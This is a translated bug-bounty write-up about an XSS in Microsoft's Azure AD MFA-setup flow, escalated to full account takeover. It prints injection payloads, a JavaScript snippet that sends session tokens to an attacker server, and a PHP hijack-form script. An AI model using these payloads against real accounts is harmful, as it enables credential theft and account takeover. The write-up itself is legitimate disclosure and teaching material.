如何通过XSS接管 Microsoft 账户

admin 2025年5月19日17:36:52如何通过XSS接管 Microsoft 账户已关闭评论1 views字数 10021阅读33分24秒阅读模式

Microsoft的登录系统以其高度安全和复杂的架构著称,拥有多层保护机制,这使得漏洞分析极具挑战性。在本文中,我将详细介绍如何通过跨站脚本攻击(XSS)发现并利用Microsoft认证流程中的一个完整账户接管漏洞。这一漏洞隐藏在登录流程中,可能允许攻击者完全控制用户账户。

此外,我将拆解Microsoft登录机制的关键组件,以帮助读者理解相关概念。这不仅有助于理解本文内容,也为有志于在Microsoft平台进行漏洞狩猎的读者提供参考。

理解Microsoft的登录机制与Azure Active Directory (Azure AD)

Microsoft的认证流程依赖于Azure Active Directory(Azure AD),这是一个基于云的身份和访问管理服务,广泛应用于Microsoft 365等服务。Azure AD中的一个核心概念是租户(Tenant),它定义了Microsoft生态系统中的组织边界。

Azure AD中的租户是什么?

在Azure AD中,租户是一个专属于特定组织的独立服务实例,可视为一个安全的容器,用于存储用户、组、应用程序和策略。租户的主要特性包括:

  • 每个使用Microsoft服务的组织(如Microsoft 365)都会被分配一个租户,与其他租户完全隔离,以确保数据的安全性和完整性。
  • 租户绑定到一个唯一域名,例如 {organizationName}.onmicrosoft.com
  • 每个租户拥有一个唯一的标识符,称为租户ID,以UUID格式表示(如 e1234567-89ab-cdef-0123-456789abcdef)。

租户类型与登录差异

Microsoft的登录流程根据账户类型有所不同,因为Azure AD支持多种租户类型,每种类型对应特定的使用场景:

  1. 工作或学校账户(Azure AD租户)
    • 用于组织管理员工或学生对企业应用的访问。
    • 每个Azure AD租户都有一个唯一的租户ID(UUID),用于标识。
    • 认证端点:https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize其中 {tenant-id} 必须替换为具体的租户ID,以确保正确的访问控制。
  2. 个人账户(Microsoft账户租户)
    • 适用于个人用户访问Outlook.com、Xbox Live或OneDrive等服务。
    • 个人账户不与特定租户关联,使用Microsoft的消费者身份服务,因此无需租户UUID,所有个人账户共享一个“全局”命名空间。
    • 认证端点:https://login.live.com/oauth20_authorize.srf,与工作/学校账户的端点不同。

本文重点分析工作或学校账户(类型1),以下将探讨Microsoft如何在这些环境中识别和验证用户。

工作或学校账户的登录机制与租户识别

Azure AD的认证流程与租户识别紧密相关,确保用户在正确的组织边界内进行认证。以下是其工作原理:

  1. 用户访问登录URL:https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize, 将 {tenant-id} 替换为组织的租户UUID,输入凭据(如邮箱和密码)以启动认证流程。
  2. 系统通过URL中的 {tenant-id} 识别租户(稍后将介绍另一种识别方式)。
  3. Azure AD检查租户特定的策略,如多因素认证(MFA)。
  4. 认证成功后,Azure AD颁发令牌,验证其有效性,并使用租户UUID确保令牌仅适用于特定租户。

原因分析:租户隔离是Azure AD设计的核心,旨在防止跨组织的数据泄露。然而,如果租户识别机制或相关参数处理存在缺陷,可能导致认证流程被绕过或滥用,这为后续的XSS漏洞埋下隐患。

漏洞发现与利用过程

对于工作或学校账户,用户无法自行创建账户,账户由组织(如公司、学校)分配。用户收到凭据后需完成初始设置,包括配置多因素认证(MFA),才能获得访问权限。

在研究Microsoft的文档和登录流程后,我采取了系统化的测试策略,从基础开始。我使用一个新账户,配置最少的安全保护,仅保留密码作为唯一认证方式,并尝试绕过任何额外保护,仔细观察每个细节。

尽管MFA是强制性的,我在初始设置后进入安全设置,移除了所有额外保护,仅保留密码认证。然后,我使用另一浏览器尝试登录,系统会进行多次重定向,并强制要求设置双因素认证(2FA),如“认证器应用”。

如何通过XSS接管 Microsoft 账户

如何通过XSS接管 Microsoft 账户

如何通过XSS接管 Microsoft 账户

关键发现:遗留域名的重定向

在重定向过程中,我注意到一个与Azure AD相关的遗留域名:account.activedirectory.windowsazure.com。此域名主要用于配置MFA设置、管理安全密钥以及更新认证方式(如电话号码或认证器应用)。

在这一重定向中,系统向 /proofup.aspx 端点发送了一个POST请求,包含以下三个关键参数:

  • flowtoken:表示当前认证流程状态的令牌,确保用户无法跳过中间步骤直接进入后续步骤。
  • request:在认证端点间传递,保留原始请求的上下文(如范围、重定向URI、应用ID),用于Azure AD在触发额外检查(如MFA)时验证请求。
  • canary:用于防止重放攻击或篡改的安全令牌,类似于CSRF保护的一部分。
  • pru:验证MFA的应用程序。

技术说明:这些参数由应用程序在登录后生成。对于仅使用密码认证的账户,系统通常会重定向到此域名以强制设置MFA。

原因分析account.activedirectory.windowsazure.com 作为一个遗留域名,可能未完全与现代Azure AD认证流程同步。其参数处理逻辑可能存在漏洞,尤其是当输入未经过充分验证时,可能导致参数注入或反射。

自动提交表单与XSS漏洞

如何通过XSS接管 Microsoft 账户

/proofup.aspx 端点的响应包含一个自动提交的表单,重定向到 /securityinfo 端点,并携带两个主要参数:

  • PostRedirectArguments:包含请求中的所有参数(如 flowtokenrequest 等)。
  • PESTS:由服务器根据请求参数(如 flowtokenrequest 等)生成的状态令牌,用于跟踪用户会话和上下文。重要:如果请求参数属于用户A,则生成的PESTS令牌也属于用户A。

技术说明:PESTS令牌是认证流程的核心,/securityinfo 端点依赖它来识别MFA系统中的用户。任何对PESTS令牌的滥用都可能导致严重的身份验证问题。

如何通过XSS接管 Microsoft 账户

我注意到自动提交表单的 action 属性包含多个未定义参数。我尝试将这些参数作为GET或POST参数传递,但未发现反射。随后,我将注意力集中在这一端点上,因为空参数的存在暗示它们可能接受输入。

如何通过XSS接管 Microsoft 账户

通过Google、Wayback Machine和Burp Suite历史记录的扩展搜索,我发现类似命名的参数(如 X-client-Ver 和 x-client-SKU)会被反射到表单的 brkrVer 和 clientSku 参数中。

关键突破:我尝试通过注入单引号(')逃逸出表单的 action 属性,成功实现了注入。然而,由于编码限制,我无法通过添加闭合标签(>)破坏整个表单,也无法在自动提交的表单中使用事件处理程序或运行JavaScript。

如何通过XSS接管 Microsoft 账户

原因分析:表单的 action 属性未对输入进行充分的清理和编码,导致参数注入成为可能。此外,自动提交表单的设计限制了传统XSS攻击的执行方式,迫使攻击者寻找更复杂的方法来触发脚本。

绕过自动提交限制

由于表单自动提交,我无法直接使用传统的事件处理程序(如 onload 或 onclick)。我尝试了以下方法:

  1. 注入新 action 属性:尝试注入 action='javascript:alert(1);',但被忽略,因为表单优先使用原始 action
  2. 使用新的事件处理程序:尝试使用 oncontentvisibilityautostatechange 结合 content-visibility:auto 样式,但该方法在某些浏览器(如旧版浏览器或Firefox)中不兼容,限制了攻击范围。

最终,我结合了URL片段tabindex属性,成功绕过了限制:

  • URL片段:URL中的 # 后部分,用于定位页面中的特定元素(通过 id)。当浏览器加载带有片段的URL时,会尝试聚焦到对应元素(如果该元素可聚焦)。
  • tabindex属性:通过设置 tabindex="1",使表单元素可聚焦;通过 onfocus 事件处理程序执行JavaScript。
如何通过XSS接管 Microsoft 账户

注入的payload如下:

ounter(lineounter(line'injected='meloz'onfocus='alert(1)'tabindex='1'test='

生成的表单如下:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<form action='<https://served.from.server/endpoint>' injected='meloz'      onfocus='alert(1)' tabindex='1'      test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'      name='registrationForm' target='_self' >  <input type='submit'></form>

攻击者可通过以下URL触发XSS:

ounter(lineounter(line<https://account.activedirectory.windowsazure.com/proofup.aspx?X-client-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm>

原因分析:表单未对注入参数进行严格的输入验证和编码,导致攻击者能够注入可执行的HTML属性(如 onfocus 和 tabindex)。此外,URL片段的使用暴露了浏览器聚焦机制的潜在滥用风险。

如何通过XSS接管 Microsoft 账户

CSRF表单的挑战

为将XSS攻击与CSRF结合,我尝试构建一个托管在攻击者服务器上的CSRF表单:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<html>    <formid="csrfPOC"action="<https://account.activedirectory.windowsazure.com/proofup.aspx?X-client-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm>"method="POST">      <inputtype="hidden"name="flowtoken"value="{FLOWTOKEN}" />      <inputtype="hidden"name="pru"value="{PRU}" />      <inputtype="hidden"name="request"value="{REQUEST}" />      <inputtype="hidden"name="canary"value="{CANARY}" />      <inputtype="submit"value="Submit request" />    </form>    <script>      document.forms["csrfPOC"].submit();    </script></html>

然而,测试时收到“400 Bad Request”错误。经检查,发现POST请求中的令牌已过期。使用最新的令牌后,攻击成功执行。

如何通过XSS接管 Microsoft 账户

如何通过XSS接管 Microsoft 账户

原因分析:令牌的短生命周期(约20-30分钟)限制了攻击的可行性。此外,CSRF攻击需要攻击者提前获取有效令牌,这增加了攻击复杂度。

突破:外部注入

在进一步分析Burp Suite历史记录时,我发现关键线索:登录URL中的参数(如 x-client-ver)会被传递到 /proofup.aspx 端点。如果能在主登录URL中注入XSS payload,无需依赖时间敏感的令牌或CSRF表单。

如何通过XSS接管 Microsoft 账户

我将payload注入到 x-client-ver 参数:

ounter(lineounter(line<https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?...&x-client-ver=7.5.1.0'injected='meloz'onfocus='alert(1)'tabindex='1'test='>

这导致重定向到:

ounter(lineounter(line<https://account.activedirectory.windowsazure.com/proofup.aspx?x-client-Ver=7.5.1.0%27injected%3d%27meloz%27onfocus%3d%27alert(1)%27tabindex%3d%271%27test%3d%27&x-client-SKU=ID_NET8_0&culture=en-US>

然而,由于缺少URL片段(#registrationForm),XSS未触发。此外,跨源重定向会导致浏览器丢弃URL片段。

我尝试使用 autofocus 属性:

ounter(lineounter(line'injected='meloz'onfocus='alert(1)'autofocus=''tabindex='1'test='

在Chrome中成功触发,但在Firefox中失败,可能是因为Firefox对自动提交表单的 onfocus 事件有更严格的限制。

原因分析:不同浏览器对HTML属性和事件处理程序的实现差异导致了攻击的不一致性。Firefox的限制暴露了自动提交表单在安全设计上的潜在问题。

最终突破:干扰表单ID

我注意到注入点位于表单的 id 和 name 属性之前。因此,我尝试注入新的 id 和 name 属性,干扰 document.forms["registrationForm"] 的引用:

ounter(lineounter(line'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='

生成的表单如下:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<form action='<https://served.from.server/path?brkrVer=8.0.1>'      id='melotover' name='melotover' tabindex='1'      onfocus='alert(document.domain)' autofocus=''      test='/theRest/Of/TheEndpoint' method='POST'      id='registrationForm' name='registrationForm' target='_self' >  <input type='submit'></form>

这导致 document.forms["registrationForm"] 变为 undefined,阻止了表单的自动提交,XSS成功在几乎所有浏览器中触发。

如何通过XSS接管 Microsoft 账户

最终payload

ounter(lineounter(line<https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...&x-client-ver=80.0.1'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='>

如何通过XSS接管 Microsoft 账户

通过使用 /common/ 替代特定租户ID,攻击可针对任何组织中的任何用户。Azure AD会根据用户邮箱的域名自动识别租户。

原因分析:主登录URL未对查询参数进行充分验证,导致注入的payload被传递到后续端点。/common/ 端点的设计允许跨租户访问,进一步放大了攻击范围。

漏洞升级:完整账户接管

发现XSS后,我尝试利用敏感的 PESTS 令牌实现更大影响。PESTS在MFA系统中用于识别用户,滥用它可能导致身份冒充。

如何通过XSS接管 Microsoft 账户

我尝试用另一用户(User2)的PESTS令牌替换当前令牌,系统报错。但当我替换所有 /securityinfo 端点的参数(包括 flowtokenrequest 等)为User2的值时,系统重定向到MFA设置页面,允许我以User2的身份添加新的认证方式。

利用流程

  1. 用户访问恶意链接,登录后重定向到 /proofup.aspx,触发XSS。
  2. XSS payload收集页面中的所有 <input> 标签(包含敏感令牌),编码后发送到攻击者服务器。
  3. 服务器解码参数,重建与受害者页面相同的表单,保存为文件。
  4. 攻击者访问该文件,重定向到受害者账户,可添加新的MFA方式。
  5. 攻击者注册自己的认证方式,接管账户。

最终payload(Base64编码,注入到 rel 属性):

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linecontent = btoa(document.forms[0].innerHTML);f = document.createElement("form");f.method = "post";f.action = "https://{YOUR_SERVER}/POC.php?userID=".concat(Date.now());i = document.createElement('input');i.name = "data";i.value = content;f.appendChild(i);document.body.appendChild(f);f.submit();

注入方式:

ounter(lineounter(line'id='melotover'name='melotover'rel='[Base64编码的payload]'tabindex='1'autofocus=''onfocus='eval(atob(this.rel));//

服务器端脚本

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpif(isset($_GET['userID']) && !empty($_GET['userID']) && ctype_digit($_GET['userID'])) {    $filename "user_" . $_GET['userID'];else {    die("Error");}if($_SERVER['REQUEST_METHOD'] === "POST") {    $data file_get_contents("php://input");    !empty($data) && file_put_contents($filename$data);    echo "good luck!";else {    $fileContent file_get_contents($filename);    if(preg_match('/data=([A-Za-z0-9+\\/=]+)/'$fileContent$matches)) {        $decodedValue base64_decode($matches[1]);        echo "        <!DOCTYPE html>        <html lang='en'>        <head>            <meta charset='UTF-8'>            <title>Dashboard</title>        </head>        <body>        <div style='text-align:center'>            <form id='hijack'                action='<https://account.activedirectory.windowsazure.com/securityinfo?.>..'                method='POST'>                " . $decodedValue "            </form>            <button onclick='document.forms.hijack.submit();' type='submit'>Hijack!</button>        </div>        </body>        </html>";    }}?>

原因分析/securityinfo 端点未对参数来源进行充分验证,允许攻击者通过伪造参数冒充其他用户。PESTS令牌的敏感性使其成为攻击的关键目标。

进一步扩展:应用范围攻击

在提交报告后,我尝试将攻击扩展到所有用户,包括启用了2FA的用户。我发现,当向 /proofup.aspx 发送有效请求时,应用程序会缓存响应,并通过设置包含PESTS令牌的cookie存储长达80分钟。

即使后续发送简单的GET请求到 /proofup.aspx,系统仍返回缓存的响应。这意味着,如果初始请求包含XSS payload,后续请求(无论GET或POST)都会触发XSS。

通用攻击流程

  1. 攻击者通过CSRF攻击发送包含XSS payload的有效表单,触发 /proofup.aspx
  2. 应用程序处理请求,响应包含PESTS令牌,执行XSS,并缓存响应。
  3. 受害者(即使启用2FA)被诱导访问 /proofup.aspx,触发缓存的XSS。
  4. XSS在受害者的认证会话中执行,收集并发送敏感参数。

为解决重定向问题,我在XSS payload中添加了重定向到登录页面的代码。第一次执行时用户未登录,第二次执行时用户已登录,从而绕过了循环问题。

原因分析:响应缓存机制未考虑XSS payload的持久性,导致攻击范围从单一用户扩展到应用范围。Cookie的有效期进一步放大了漏洞的影响。

====本文结束====

以上内容由漏洞集萃翻译整理。

参考:

https://melotover.medium.com/escalating-impact-full-account-takeover-in-microsoft-via-xss-in-login-flow-f160fa79b008

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日17:36:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何通过XSS接管 Microsoft 账户https://cn-sec.com/archives/4081435.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.